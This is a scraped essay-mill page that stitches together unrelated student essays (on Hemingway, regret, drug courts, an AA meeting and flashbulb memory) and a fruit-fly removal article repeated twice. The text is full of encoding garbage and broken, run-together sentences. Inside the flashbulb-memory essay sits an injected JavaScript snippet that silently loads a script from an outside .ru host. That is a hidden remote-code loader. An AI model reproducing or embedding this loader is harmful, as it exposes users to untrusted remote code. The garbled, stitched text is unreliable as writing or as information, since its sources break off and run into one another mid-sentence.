Hills Like White Elephants Theme Essay - 902 Words

Past, Present, and Future In the story, â€Å"Hills Like White Elephants† written by Ernest Hemingway tells a dialogue story of a woman named Jig and the American man who is waiting at the train station for their ride to Madrid. Jig and the American man are having a casual conversation about the scenery that the nearby hills look like white elephants. Then, there conversation turns serious as they talk about their relationship and their future unborn child. In Ernest Hemingway’s story the character’s conversation is important because it represents the lifestyle of a carefree life of an adult, the decisions of their actions, and their unplan future. The American man trying to convince Jig to have a â€Å"‘simple operation†¦that it’s just to let the†¦show more content†¦Ã¢â‚¬Å"Perfectly simple† is restated a couple of times in the conversation which tells us that out of the two only one wants the child and the other doesn’t want the child (Hemingway). The American man thoughts are not more important than Jig’s. Even if the American man is supporting her to get an abortion it’s still Jigs decision. His opinion does matter to her because she wants his thoughts about what’s best for them and their unborn child. Jig is torn between remaining reckless and carefree and making a family with the man she loves. â€Å"‘Because I don’t care about me’† states that she is willing to do almost anything for the American man but is blocked by her mother instinct to protect her child (Hemingway). Jig is indecisive in what she wants because she questions herse lf and the American man what if questions. â€Å"‘I realize†¦can’t we maybe stop talking’† this tells us Jig finally realizes that by asking a lot of rhetorical questions to the American man she has the answer she needs even if it’s not the answer that she wants (Hemingway). The American and Jig had no plans of settling down which indicates they were both not planning a future. â€Å"He did not say anything but looked at the bags against the wall of the station†¦were labels from all the hotels where they had spent nights† meaning that the baggage they haveShow MoreRelatedHills Like White Elephants Theme Essay923 Words   |  4 PagesPast, Present, and Future The story, â€Å"Hills Like White Elephants†, written by Ernest Hemingway, tells a dialogue story of a woman named Jig and the American man who is waiting at the train station for their ride to Madrid. Jig and the American man are having a casual conversation about the scenery that the nearby hills look like white elephants. Then, there conversation turns serious as they talk about their relationship and their future unborn child. In Ernest Hemingway’s story, the characters’Read MoreHills Like White Elephants, a Theme Analysis Essay1243 Words   |  5 PagesHemmingway uses time, place, and symbolism in Hills like White Elephants to intensify the central dilemma in a story about a man and a woman deciding on whether to go through with an abortion. Although a literal reading of the title may not seem to have any relation to the story, the title is rich in implications. Critics suggest that Hills refers to the shape of a womans stomach when pregnant, and Webste rs 21st Century Dictionary defines white elephant as: [An] awkward, useless possession. Read MoreEssay on Dependence to Independence in Hills Like White Elephants862 Words   |  4 PagesDependence to Independence in Hills Like White Elephants  Ã‚   In Ernest Hemingway’s â€Å"Hills Like White Elephants,† the lives of Jig and the American, the main characters, are put on display for a brief period of time.   Jig and the man have had a romantic relationship for quite some time, and now their future together is in jeopardy.   The impregnation of Jig has caused the American to pressure her into getting an abortion.   We find these two individuals in the Valley of the Ebro.   Traveling fromRead MoreSummary Of Hills Like White Elephants 909 Words   |  4 PagesBrooke Skairus Mrs. May English October 19, 2015 Essay Responses to Short Stories Discuss possible symbolic representations in â€Å"Hills Like White Elephants†? In the story â€Å"Hills Like White Elephants† the white elephant symbolizes a negative thing. No person would want anything to do with this. For example, the girl’s unborn child. In the beginning of the story the girl made a comment, and she said that the surrounding hills resemble white elephants. You may think the comment wasn’t unusual, butRead More Hemingways Personal Life and its Influence on his Short Story, Hills Like White Elephants1409 Words   |  6 PagesHemingways Personal Life and its Influence on his Short Story Hills Like White Elephants Hills like White Elephants is not the normal story where you have a beginning, middle and end. Hemingway gave just enough information so that readers could draw their own conclusions. The entire story encompasses a conversation between two lovers and leaves the reader with more questions than answers. Ernest Hemingway was a brilliant writer. People that study Hemingways works try to gain insight andRead MoreTheme Of Good Country People1126 Words   |  5 PagesThe purpose of this essay is to correlate the theme of three different stories that had been read. I decided to choose the stories â€Å"Good Country People†, â€Å"Hills Like White Elephants†, and â€Å"The Storm.† I believe that the theme across these stories is to beware of the wolf in sheep clothing. In these stories, there was an antagonist that posed as a protagonist who even though their intentions may have looked well skin deep, the underlying intentions against the main character were not of good intentRead MoreMoving to the Girl’s Side of â€Å"Hills Like White Elephants†1697 Words   |  7 PagesMoving to the Girl’s Side of â€Å"Hills Like White Elephants† In the article, â€Å"Moving to the Girl’s Side of ‘Hills Like White Elephants†, Stanley Renner carefully analyzes the movements of the female character and argues the different view from the general conclusion while still pondering on the open-end question the writer, Ernest Hemmingway, has left with the readers. Renner is left unsatisfied with the unresolved ending of the story. Although the majority of critics conclude that the girl will haveRead More Communicating Conflict in Ernest Hemingways Hills Like White Elephants 1262 Words   |  6 Pages   Ã‚   Ernest Hemingways short story Hills Like White Elephants touches on an issue as ageless as time: communication problems in a relationship. He tells his story through conversations between the two main characters, the American and the girl. Conflict is created through dialogue as these characters face what most readers believe to be the obstacle of an unexpected pregnancy. Their plight is further complicated by their inability to convey their differing opinions to each other. Symbolism andRead MoreEssay on Hemingways Minimalism in Hills Like White Elephants1455 Words   |  6 PagesHemingway’s Minimalism in â€Å"Hills Like White Elephants† In this essay we will look at Earnest Hemingway’s â€Å"Hills Like White Elephants† as an example of his use of the minimalist technique, what that technique is, and what its overall effect has on the reader. What is minimalism and how did Hemingway use this technique in â€Å"Hills Like White Elephants†? The primary effect of Minimalism in modern prose is to place the control of the work back onto the reader. That is to say, the reader is forcedRead MoreAn Exploration of British Injustice in Shooting an Elephant by George Orwell1612 Words   |  7 Pages. By the type of language and the choice of words that the author used to write his essay, it is very likely that it was written for the British people, to make them aware of the injustice and cruelty of Imperialism in the colonies. The author’s aim is to make the reader feel disturbed and uneasy by describing in detail his negative experiences in India. This rhetorical analysis explores the success of the author in portraying the negative impact that Imperialism had on those being governed under

Persuasive Essay Theme - 897 Words

Everybody has learned a lesson at one point in their lives. Whether it is from something that they did, or something that someone else did. They learned a lesson. A common time that this happens could be in your teens, or nearing the end of your life. Sometimes to think about others, you have to hit rock bottom first, before you realize that you are not okay. In all three of the stories we read, the theme of regret was shown. The stories analyzed this theme by introducing the idea of being conceded in the beginning and dissatisfied in the end. Before Tessie Hutchinson won the lottery, she was playful and excited. But, as we observed in this story, she was only thinking about herself and not about anyone else. â€Å"Mrs. Hutchinson said,†¦show more content†¦213) Neddy faced a situation where everyone was judging him and he was debating if he should go back and give up because he never signed anything saying he needed to complete this journey. â€Å"He shouted, pounded on the door, tried to force it with his shoulder, and then, looking in at the windows, saw that the place was empty.† (Pg. 217) Neddy had come to a point in his life where he realized he had failed. He lost his wife, his daughters, his house, his cars, and pretty much everything he owned, because he had only cared about himself, and no one around him. Everything Neddy had done leading up to this all collected in one and he finally hit rock bottom. The story The Swimmer foreshadows this in describing the declined invitations, and how long in b etween each â€Å"pool†. The narrator in greasy lake only took his needs and feelings into consideration when he made his decisions. Everybody else could have been affected by his actions, but he only seemed to care if it affected him. â€Å"That’s his bike over there - Al’s. You seen him?† â€Å"I didn’t know what to say.† â€Å"Digby poked me in the ribs. â€Å"We haven’t seen anybody,† I said.† (Pg. 176) The narrator was too scared to tell the truth and say he had seen his dead body. He was anxious because if he admitted that he saw the body, then that would get him in trouble so instead heShow MoreRelatedI Have A Good Writer949 Words   |  4 Pagesfirst essay; a narrative. My narrative was about something that happened years ago that traumatized me. Being able to get out what had happened and express what I needed to was liberating. But aside from feeling better about the event, I had written my first real essay. A real, five page, no bull paper. That was a huge milestone in my writing career. Also, beginning with a narrative was nice because it was simple enough to be easy, but still challenging. Next, we wrote an expository essay. An expositoryRead MoreNight by Elie Wiesel1271 Words   |  6 Pagesï » ¿THE CONTEXT ESSAY Written response to a prompt- a statement about the theme which you are required to â€Å"break open† in your response. Theme – â€Å"rites of passage† Example of a prompt: â€Å"Rites of passage presents obstacles which must be overcome† The context essay can take three forms: Expository Persuasive Imaginary THE PROMPT The prompt or stimulus is what must be addressed in relation to the texts you have explored. Sometimes there may be an image as well as text Discussion of the promptRead MorePersuasive Essay About Abortion993 Words   |  4 Pages The chosen theme was a real-estate article. Bold headings to grab the eye of the reader were used, same as big and clear images. The article was presented in three different columns. Writing for a visual prompt was presented in two peoples perspectives. The story consisted of a daughter (Deb) and mother’s perspective after the death of her father. The purpose of this layout is to show how they are both grieving in individual ways. Writing for the persuasive was presented as an essay on why abortionRead MoreDavid Suzukis a Planet for the Taking953 Words   |  4 Pages In the essay A Planet for the Taking, David Suzuki describes Canadians odd appreciation for this great natural bounty we call our own. He is an internationally acclaimed scientist who is concerned about the welfare of Canada. Suzukis intended audience is the Canadian population that does not realize the grave danger they are instilling upon themselves by haphazardly taking our resources without looking at the subsequent repercussions of their actions. The essay is persuasive and informativeRead MoreThe And The Great Gatsby877 Words   |  4 PagesI consider myself relatively adequate in terms of my writing skills. In highschool I spent a majority of my freshman year reading classics and analyzing the themes and motifs in said novels. My main issue was development because I felt that most statements or inferences could be made in terse arguments. By sophomore year I found my struggle to be the absolute opposite with issues in condensing my writing pieces. While I did spend a majority of my highschool experience dealing with various writingRead MoreCritical Evaluation – Self-Reliance - Emerson Essay811 Words   |  4 PagesThe essay â€Å"Self-Reliance†, by Ralph Waldo Emerson, is a persuasive essay promoting the ways of transcendentalism. He uses this paper as a proponent to edify and advance a major point using a structure that helps his argument. In the paper, Emerson begins his concluding thoughts with a statement that greater self-reliance will bring a revolution, and then applies this idea to society and all of its aspects, including religion, education, and art. This brings Emerson to a new, more precise focus onRead MoreGeorge Orwell s Novel, Animal Farm881 Words   |  4 Pages ENG 2602 Assignment 01 Student number 55447600 Student: K Ganesh The following essay will discuss an extract from George Orwell’s novel, Animal Farm: 1945. Persuasive proses will be discussed with the use of linguistic features such as lexical cohesion, metaphor, hyperbole, mood, pronouns, quoted speech, polarity and tense. This will be based on the persuasion and the creation of an alliance, focussing on the freedom and concern of similar parties. The entire extract has made use ofRead MoreMetacognition Essay Example695 Words   |  3 PagesMetacognition Essay I feel I have come a long way my tenth grade year. My writing has gotten so much better and I can write essays of much better quality now. Things have gotten better like punctuation, thesis, and analysis. To begin with, my punctuation has gotten a lot better. I made a lot of errors during the beginning of the year and I am starting to make a lot less. Also, my thesis statements have gotten tremendously better. At the beginning of the year they were really boring. As the yearRead MoreA Brief Note On The Dual Enrollment English1248 Words   |  5 Pageshow I would edit. Not only did Smarthinking help me edit better, but it was also very helpful to have another person’s opinion on my essays. Having a random tutor was perfect because I do not like having my friends read my writing. Overall, without revising my editing process, all of the other writing skills I have learned this year would not have shown in my essays. In addition to learning how to become a better editor, I also learned about APA format this year. At first it was pretty frustratingRead MoreMartin Luther King Why We Cant Wait Essay734 Words   |  3 PagesAnalytical Essay on Why We Can’t Wait by Martin Luther King Why We Can’t Wait written by Martin Luther King is a book that conveys the actual mind-set of many black Americans toward their freedom and emancipation. The social conditions for Blacks during the 1960’s were not that of freedom and liberty, but that of oppression and segregation. Martin Luther King makes use of a variety of stylistic, narrative, and persuasive devices to display his image of the harsh reality of the supposed â€Å"freedom†

Drug Courts Free Essays

The drug court is a unique effort that uses the occasion of a drug offence arrest as an intervention opportunity for drug offenders even though historical problems in criminal justice diversion and referral programs the Dade County success rates have shown that these problems can be overcome through unique collaborative relationships, innovative treatment design, and the elimination of conventional gaps in the referral- treatment-monitoring process. It is the purpose of this paper to explore the concept that drug courts are a far more effective method of punishment for drug offenders than the traditional route of incarceration. The Violent Crime Control and Law Enforcement Act of 1994 provided a potential one billions dollars for the subsequent five years to set up drug courts. We will write a custom essay sample on Drug Courts or any similar topic only for you Order Now As jurisdictions move forward in the establishment of such courts, it is essential to consider the conceptual and clinical elements that have made drug courts successful in drug rehabilitation and crime prevention far more than incarcerations. The first drug court in Dade County, Florida, created in 1989, was the prototype. The three-phase Miami program for first and second cocaine offenders begins with arrest and overnight incarceration in the Dade County Stockade, and appearance the following morning before the drug court judge. The program was developed under the direction of Dade County Superior Court Judge Herbert Klein, with the assistance of Michael Smith, MD, and Director of Substance Abuse. After two years of the drug court’s operation, 4296 felony drug possession arrestees had been diverted to the program. Of these, 1600 had graduated the three-phase program with a 3% re-arrest rate 1153 were still in the program with a 7% re-arrest rate; 500 had their charges dismissed after program entry; and 1043 failed to comply with the program. Also, 90% of the arrestees who were offered the program accepted the program the other 10% were arraigned in regular Supreme Court no screening for â€Å"treatment-readiness† was conducted, meaning that this was a non-selected, typical group of cocaine addicted offenders; 60% of the program graduates required at least a brief in-patient stay during their treatment most of the â€Å"failure to comply† drop-out group left the program in the first three weeks of participation 30% of the dropout sgroup later returned to the program either voluntarily, by summons, or by repeat minor arrest. The cost was given at $750 per client, per year. Clients pay mandated fees for the program, and the program is partially funded by a special fine levied on a certain class of traffic offense. When the program began, seized assets were used for part of the program startup costs. References WWW. DDRS. COM Promptly at 8 o’clock on Tuesday night at the community church in my home town largo, Maryland, there are life changing effort from alcoholics in the community, I have had the pleasure of witnessing these efforts with my own eyes and I must say it is truly eye opening. The reason for these meetings is for alcoholics to have time to relate to others and share their feelings and concern with their peers. At the start of the meeting the group leader leads the group with a prayer and words of wisdom, shortly after they allow the person in a attends to help themselves to snack and drinks alcohol free, normally the administer name tags but on the particular day on my attendant they were out. The group leader made it clear that if you were not in the mode to speak all you have to do was say pass in order for me to not insult the others in attended at the meeting I sat in the circle with the group. The group leader asked each individual person to introduce there selves being that the name tags where not at the groups disposal, after being ask for their names they were given an opportunity individual to share what was on their mind most of everyone spoke, A guy named Louis who shared said he is ready for the rain to end and broke down in tears. Right then and there I realize that being a alcoholic was not a life chose but more so a sickness. The group leader would often lecture as well as ask others very specific questions to different individual. At the end of the meeting the group leader close with more words of wisdom as well as a prayer. The A. A meeting was a great experience as well life changing I was very proud to see others with courage talk about their biggest life problems. I would defiantly recommend these meetings to anyone with addiction, on the simple fact of other and peers being able to relate to the same problem that you have make you feel like you’re getting thru it together. {copied directly from the notepad I brought to the meeting wanted to keep it authentic sorry for all the eras} How to cite Drug Courts, Papers

Do Flashbulb Memories Differ Essay Research Paper free essay sample

Do Flashbulb Memories Differ Essay, Research Paper ? Our yesteryear is preserved in a assortment of memories of really different nature? ( Salaman, 1970 ) There are many proposed divisions and sub-divisions of human memory, such as working memory, procedural memory, semantic memory or episodic memory. Many of the systems seem to overlap, with each holding changing maps related to the care of what is basically human life. For illustration, episodic and autobiographical memory basically portion the same maps. One of the many maps is what Tulving ( 1983 ) called? Mental clip travel? , the ability to see past event. Autobiographical memories are thought to be structured at different degrees of temporal and spacial specificity that together are used as mention for the building of? ego? . This mental clip travel can take topographic point through different hierarchal degrees of autobiographical administration. The hierarchy degree can be every bit general as? university? or every bit specific as retrieving the subject of conversation with a certain individual on a certain twenty-four hours ( Cohen, 1998 ) . Autobiographical memories are hence seen as being autonoetic in that they carry information about the context in which they were experienced. One illustration of an utmost signifier of contextual specific memory is the decease of Princess Diana. Many people particularly the media ask a common inquiry such as ? what were you making when you heard the intelligence? . Many people claim to be able to retrieve such major minutes with unusual lucidity and color, as if the events were etched on their heads throughout their lives. The inquiry is whether these? photoflash memories? are functionally different to all other types of memory such as autobiographical memory.Brown A ; Kulik ( 1977 ) , introduced the term flashbulb memory to depict memories that are preserved in an about indiscriminate manner. They postulated that these flashbulb memories were so different from ordinary memories, with some specifying features. Although these memories are thought to be photographic in their lucidity and item, they make non continue all characteristics of an event. Conversely Brown A ; Kulik proposed that idiosyncratic event inside informations are remembered. These inside informations help organize what has been described as a? unrecorded? memory in that the? response field? is remembered including? where? , ? when? and? who with? factors of an event. Brown A ; Kulik ( 1977 ) studied memories for of import events such as the decease of John F Kennedy. They found that irrelevant inside informations were frequently recalled and it appeared that they had retained? a brief minute of clip associated with an emotional event? ( Smyth et al, 1994 ) . Brown A ; Kulik suggested that photoflash memories are formed by the activity of an ancient encephalon mechanism evolved to capture emotional and cognitive information relevant to the endurance of an single or group. To summarize, flashbulb memories FMs are thought to be an alone endurance mechanism distinct from other signifier of memory in their lucidity, length of service and attending to idiosyncratic item. These features of photoflash memories can be mapped onto issues refering memory. As with many memory systems, the statement over the peculiarity of flashbulb memories involves encoding, storage and retrieval. These issues relate to many issues within Flashbulb memory such as their formation, truth, consistence and length of service. It appears that these procedures are interrelated with each procedure being dependent on another. In footings of FM formation, Brown A ; Kulik idea that the lucidity and item of FMs is correlated with the emotion, surprise and personal consequentiallity of the event. They besides thought that surprise initiates FM formation, while personal consequentiallity determines the elaboration of the resulting FM. As support for this they found that more inkinesss had FMs associated with the decease of Martin Luther King compared to Whites. Apparently this was due to an increased emotional personal consequentiallity felt their portion of society. Therefore ego mentioning anterior cognition of surprising of import events is thought to back up privileged encryption of FMs compared to other mundane memories. In support for this Livingstone ( 1967 ) proposed that when an event base on ballss a certain biological standard, the limbic system discharges into the reticulate system, which further discharges throughout the cortical hemispheres. This fire above a certain degree has been termed the? now print? mechanism. This system can be seen as being instead like the flash traveling off on a camera. However this position is criticised on the evidences that this? biological degree? is non specifically identified. In a farther unfavorable judgment Neisser ( 1982c ) has claimed that FMs are non specially encoded and hence non alone. Neisser proposed that FMs were Simply ordinary memories made clearer and longer enduring by frequent dry run after the event. This statement seems rather logical, as peculiarly in this planetary age the media and society often replay and retell events of utmost public attending or emotion. Flashbulb memories could hence be seen as memories that have be actively reconstructed to such an extent that they can be clearly replayed in our heads. Flashbulb memories are seen by Neisser non as a particular evolutionary mechanism, but as a method of advancing the integrating of an person within a society. In this Reconstruction, personal consequentiallity is applied after an event one time is importance is measured within society. This besides inquiries the cogency and truth of? photoflash memories? in that they are memories actively reconstructed and transformed over clip. Neisser A ; Harsch ( 1992 ) measured flashbulb memories of the shuttle rival detonation. They found that after one twenty-four hours 9 topics claimed to hold learned of the event from telecasting, nevertheless 34 months subsequently this figure had risen to 19. As a farther nail in the casket for Brown and Kulik # 8217 ; s flashbulb memory hypothesis Christianson A ; Loftus ( 1987 ) found that high emotion served to contract attending to concentrate to the cardinal facets of an event a the disbursal of peripheral inside informations. This would look to bespeak that the idiosyncratic inside informations associated with flashbulb memories are more reconstructive, as the fringe environing an event is filled in on dry run. At this point it may look that photoflash memories are little more than a cultural phenomenom affecting an sweetening of ordinary memories and hence non different from them. McCloskey et Al ( 1988 ) hold pointed out that ordinary memories can be accurate and long lasting due to frequent dry run. FMs are hence may be ordinary memories retained to some remarkably high criterion of clarity.However there has been a considerable recoil in support of singularity of flashbulb memories. Assorted research workers hold pointed to the fact that personal consequentiallity was non measured within either the rival or other such surveies. As already demonstrated by Brown and Kulik ( 1977 ) , emotional consequentiallity is a dominant factor in the formation of FMs as seen in their comparing of FMs for Malcom X between inkinesss and Whites. In a similar survey, Conway ( 1994 ) measured FMs of the surrender of Margaret Thatcher. Conway took steps instantly and around 9 months. Conway found that over 86 % of British topics had complete and accurate memories suiting the description of FMs. Conversely merely 29 % of non-British topics had? FM? / gt ; memories. In a comparing of three surveies of of import intelligence events such as the surrender of including his ain and the San Francisco temblor ( Neisser, Winograd, and Weldon, 1991 ) , Conway ( 1995 ) concluded that FMs may be mediated by importance and/or emotion, but non rehersal. Conway used these surveies as support for the thought that encoding is particular for flashbulb memorie and that they are non strictly the production of luxuriant rehersal. Although Conway found In footings of truth of photoflash memories. Rehearsal is thought to function different maps for different memories. Smyth et Al ( 1994 ) noted that some memories successfully remain with us accurately for many old ages. They furthered that these drawn-out memories could be distinguished between memories that have used over a period of clip and emotionally charged photoflash memories. Conway ( 1995 ) suggests that dry run may function to forestall these ordinary memories from disintegrating while dry run within flashbulb memories acts to lucubrate. It may be that ordinary memories require preventive dry run due to their instability. Conway ( 1995 ) believed that most autobiographical memories are unstable and dynamic requiring effortfull care. Conway A ; Anderson ( 1993 ) believe that ordinary memories are constructed from different types of autobiographical cognition and non straight accessed as in a? memory unit? . Flashbulb memories nevertheless are believed to represent tightly organised and heavy autobiographical cognition. FMs are hence thought to be different to ordinary memories in their specificity of cognition and administration within the brain.have suggested that there are In footings of truth, Conway has pointed to the fact that Brown and Kulik neer claimed that FMs were perfect. Examples of personal FMs, those experient entirely by persons back up Conway? s statements of the forte of encoding being independent of dry run. Christianson and Nilson ( 1989 ) site the unfortunate instance of a colza victim who developed memory loss, purportedly motivated as a taking the event from memory. However the victim was ramble oning a twelvemonth subsequently when a sudden photoflash memory or flashback was experienced. This was cued by the victim detecting a similar brick form to that seen during the onslaught. Harmonizing to Conway and Brown A ; Kulik, the differences between ordinary memory and FMs would be self apparent in this kind of incident. Due to their dense administration, FMs can be compared to a tightly wound spring in that they are hollistc.The issue of flashbulb memories being indellible It appears hence that FMs may as first thought have a alone encryption mechanism that is independent of dry run. Pilemer et Al ( 1988 ) ? emotionIn decision, the differentiation between FMs and ordinary memories is in clear in topographic points unfortunatly this difference is non universal. There seems to be a all right line between graphic autobiographical memories and flashbulb memories. There seems to be many factors act uponing flashbulb memory formation, nevertheless these have been broken down chiefly to personal consequentiallity, importance of an event and emotion. Surprise is thought to be a important factor that combines with the other three to advance the ideal conditions for flashbulb memory formation. Conway ( 1994 ) has concluded that during events importance interacts with emotion to organize FMs. Conway? s rating does non depict how graphic autobiographical memories may represent different systems to flashbulb memories. The personal job I have refering the peculiarity of FMs was encountered late. Whilst typing an essay, I experienced an highly graphic flashback to a clip I had stopped in a service station in Australia. I clearly remember purchasing a green ice lolly, and what the position was like out of the window. This event had small impact on my life and I remember being wholly relaxed at the clip. I had been going for a piece and these Michigans were frequent plenty to non be a? first clip experience? and at the clip could be considered everyday. On reading the literature I struggled to happen concrete information to determine if this experience was a FM or merely a really graphic autbiographical memory. The experience had non been rehearsed, yet was brought back spontaneously with unbelievable lucidity more than two old ages on. Supporters of FMs would reason that this memory In footings of long term potentiation this memory may LTP set in buffer zone activated by degrees of rousing or attending that were high for the full trip. Once back in England, the whole of that experience may hold been related to personal importance and Current life programs ( Conway, 1995 ) and hence what was non seen as of import at the clip may hold become so a few months subsequently. Similarly my memories of university so far seem rather obscure, nevertheless it may that once my life programs alteration in the hereafter, some of these memories may be afforded flashbulb quality. Possibly many of these memories are of flashbulb quality, but are non remembered at the minute every bit such as they have small effect in an environment that is changeless. In my sentiment there is a skiding continuum in footings of photoflash memories and other autobiographical memories. As mentioned, autobiographical memories are thought to be arranged in a hierarchal construction that involves degrees of general and minuate. In my sentiment, FMs represent the formation of utmost memories that require small idea to retrieve. In this manner FMs may be qualitively different to ordinary memories, in that they are merely higher on the graduated table of specificity. My statement therefore is that yes photoflash memories are different from ordinary everyday autobiographical memory. As graphic memories are besides distinguishable from everyday memories, FMs in my sentiment are non alone in their formation, length of service and lucidity. Conway argued that the differentiation of FMs and autiobiographical memory is the rehabilitative quality of ordinary memories. However surveies of patients within intensive attention units ( Jones, Griffiths A ; Humphris, 2000 ) have shown that in the apprehensible unpleasant emotions coupled with drugs enhances memory for internal events such as hypnogogic hallucinations. Attention displacements during these soporific images from the external to the internal. Patients show hapless callback for their external environment, but graphic memories for the hallucinations and incubuss. Although the writers use Conway? s suggested four variable interaction to explicate the events in footings of emotion and personal consequentiallity, the fact that these graphic memories were constructed and non infact viewed independently may weaken the difference between FMs and other autobiographical memories. It seems that FMs have been applied to so many utmost memory phenomenon that they are a category of their ain. Mauricio A ; German ( 1999 ) have claimed that to see flashbulb memories as being alone and without analogues in psychological science is incorrect. They argue that psychologists should see flashbulb memories as being members of a? wide household of experiences that include drug flashbacks, palinopsia, palinacusis, posttraumatic memories, and the vivid and stalking memories experienced by topics with some signifiers of mental upset? . As the length of service and truth of memories involved with posttraumatic emphasis upset has been questioned ( Baddeley, 1997 ) In decision there is considerable grounds that worlds do hold memories that are highly graphic, clear and long lasting. However these FMs themselves ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

10 Tips for Getting Rid of Fruit Flies

10 Tips for Getting Rid of Fruit Flies Fruit flies are one of the most persistent kitchen pests. These tiny winged marauders procreate quickly and stick around long after youve tossed the fruits and veggies that first attracted them. If youre at your wits end with these nuisances, dont despair. Getting rid of them requires patience and smarts but these tips will help you eliminate any potential fruit fly breeding grounds in your home so youll be able to make them go away- and keep them from coming back. 1. Dispose of Any Rotting Fruits and Vegetables First things first: The minute you see even a few fruit flies, its time to purge your unrefrigerated produce. Anything thats beyond ripe, oozing liquid, or has been cut or broken open must go. Dont just throw things in the garbage or compost bin, either- unless your compost bin is outdoors and located a distance from your house. Bag everything up and take it outside to the trash. And be sure to clean up any residual mess left behind on countertops or in containers. 2. Scrub Your Recycling Cans Anything thats sweet or fermented or has a little moisture is a suitable habitat for fruit flies. Empty soda cans, wine bottles, and beer cans completely and rinse them out. After youve taken all bottles and cans out for pickup, give the bin a thorough scrubbing to remove any beer, wine, or juice residue. 3. Take Any Compost Scraps Outside If you compost kitchen scraps and find you have fruit flies buzzing about, its time to clean out the compost bin. Until you get the infestation under control, youll need to take produce scraps directly to your outdoor compost pile. Empty any indoor compost containers and give them a good scrubbing, too. 4. Replace Old Sponges, Mops, and Dishrags Did you know that fruit flies can breed on sour sponges, mops, and dishrags? If you havent changed your kitchen sponge or your mop refill recently, replace them. Throw any reusable dishrags in the wash and put disposable ones in a sealed bag. 5. Clean Your Dishes Immediately Dont wait until the end of the day to wash your dishes, especially if they have residue from things like jelly or wine. At the very least, give the dishes a good rinse to remove any food or beverage remnants. When you scrape leftovers into the garbage, be sure to take the trash outside promptly. If you have a dishwasher, rinse food particles from your dishes and run the load as soon as you can. 6. Check Potato and Onion Storage Bins Most people store potatoes, onions, and other root vegetables in a cool, dark bin or cupboard. If fruit flies persist, be sure to check these storage areas for old, rotting produce. Just one old potato is all it takes to keep a fruit fly population going. Dispose of any soft or mushy potatoes or onions, and give the bin a cleaning before putting in fresh ones. 7. Set Vinegar Traps in Problem Areas Sometimes the quickest way to eliminate a population of insect pests is to wipe out the reproductive adults. Fortunately, fruit flies arent all that smart. If something smells remotely like fermenting fruit, theyll dive right in. Place a few cider vinegar traps around problem areas in your home, and you can quickly get rid of large numbers of fruit flies. You can make a vinegar trap in just a few minutes with things you probably already have in your home. 8. Fix Slow Drains and Keep Plumbing Clean Fruit flies arent above living in the muck, and that includes the muck inside your plumbing. If you have any slow-moving drains in your house, there may be enough organic matter hanging out inside your pipes to support a breeding population of fruit flies. Tape some plastic wrap over suspect drains for a few days to check for fruit flies. If you see adults on the underside of the plastic, theyre breeding in your drain. Fix any drainage issues. Pour boiling water down problem drains to help loosen accumulated deposits. If accessible, you can also use a firm brush to scrub the inside of the pipe to free it of debris. 9. Give the Kitchen a Thorough Cleaning Youd be surprised where food bits can accumulate in a kitchen. If you have a particularly stubborn fruit fly infestation, it may take some elbow grease to eliminate all of their food sources. Check the lip of your kitchen sink. There could there be food bits underneath it. Clean the burner drip pans and lift the stovetop, if possible, to remove spilled food, and check under the refrigerator for sticky spots where juice may have spilled. 10. When Canning, Make Sure Jars are Sealed Securely Not everyone is into home canning but if you are, you should know that a fruit fly infestation can sometimes be traced to even one improperly sealed jar of fruit preserves. If you keep a supply of homemade jellies or sauces on hand, take some time to doublecheck that all the seals are closed tightly. As much as a fruitfly would take delight in supping on something youd inadvertently left open, you wouldnt want to dine on anything that came from an improperly sealed jar anyway, right?

10 Tips for Getting Rid of Fruit Flies

10 Tips for Getting Rid of Fruit Flies Fruit flies are one of the most persistent kitchen pests. These tiny winged marauders procreate quickly and stick around long after youve tossed the fruits and veggies that first attracted them. If youre at your wits end with these nuisances, dont despair. Getting rid of them requires patience and smarts but these tips will help you eliminate any potential fruit fly breeding grounds in your home so youll be able to make them go away- and keep them from coming back. 1. Dispose of Any Rotting Fruits and Vegetables First things first: The minute you see even a few fruit flies, its time to purge your unrefrigerated produce. Anything thats beyond ripe, oozing liquid, or has been cut or broken open must go. Dont just throw things in the garbage or compost bin, either- unless your compost bin is outdoors and located a distance from your house. Bag everything up and take it outside to the trash. And be sure to clean up any residual mess left behind on countertops or in containers. 2. Scrub Your Recycling Cans Anything thats sweet or fermented or has a little moisture is a suitable habitat for fruit flies. Empty soda cans, wine bottles, and beer cans completely and rinse them out. After youve taken all bottles and cans out for pickup, give the bin a thorough scrubbing to remove any beer, wine, or juice residue. 3. Take Any Compost Scraps Outside If you compost kitchen scraps and find you have fruit flies buzzing about, its time to clean out the compost bin. Until you get the infestation under control, youll need to take produce scraps directly to your outdoor compost pile. Empty any indoor compost containers and give them a good scrubbing, too. 4. Replace Old Sponges, Mops, and Dishrags Did you know that fruit flies can breed on sour sponges, mops, and dishrags? If you havent changed your kitchen sponge or your mop refill recently, replace them. Throw any reusable dishrags in the wash and put disposable ones in a sealed bag. 5. Clean Your Dishes Immediately Dont wait until the end of the day to wash your dishes, especially if they have residue from things like jelly or wine. At the very least, give the dishes a good rinse to remove any food or beverage remnants. When you scrape leftovers into the garbage, be sure to take the trash outside promptly. If you have a dishwasher, rinse food particles from your dishes and run the load as soon as you can. 6. Check Potato and Onion Storage Bins Most people store potatoes, onions, and other root vegetables in a cool, dark bin or cupboard. If fruit flies persist, be sure to check these storage areas for old, rotting produce. Just one old potato is all it takes to keep a fruit fly population going. Dispose of any soft or mushy potatoes or onions, and give the bin a cleaning before putting in fresh ones. 7. Set Vinegar Traps in Problem Areas Sometimes the quickest way to eliminate a population of insect pests is to wipe out the reproductive adults. Fortunately, fruit flies arent all that smart. If something smells remotely like fermenting fruit, theyll dive right in. Place a few cider vinegar traps around problem areas in your home, and you can quickly get rid of large numbers of fruit flies. You can make a vinegar trap in just a few minutes with things you probably already have in your home. 8. Fix Slow Drains and Keep Plumbing Clean Fruit flies arent above living in the muck, and that includes the muck inside your plumbing. If you have any slow-moving drains in your house, there may be enough organic matter hanging out inside your pipes to support a breeding population of fruit flies. Tape some plastic wrap over suspect drains for a few days to check for fruit flies. If you see adults on the underside of the plastic, theyre breeding in your drain. Fix any drainage issues. Pour boiling water down problem drains to help loosen accumulated deposits. If accessible, you can also use a firm brush to scrub the inside of the pipe to free it of debris. 9. Give the Kitchen a Thorough Cleaning Youd be surprised where food bits can accumulate in a 